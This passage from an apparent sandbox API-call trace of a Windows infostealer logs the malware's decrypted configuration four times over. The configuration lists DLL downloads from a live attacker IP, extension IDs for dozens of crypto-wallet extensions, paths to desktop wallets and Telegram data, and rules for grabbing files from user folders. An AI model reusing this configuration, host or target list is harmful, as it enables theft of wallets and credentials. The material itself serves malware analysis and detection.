Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.303] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.303] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x6fe628 [0266.304] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.304] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x700f70 [0266.304] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5278 [0266.304] LocalAlloc (uFlags=0x40, uBytes=0x293c) returned 0x7038b8 [0266.304] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension 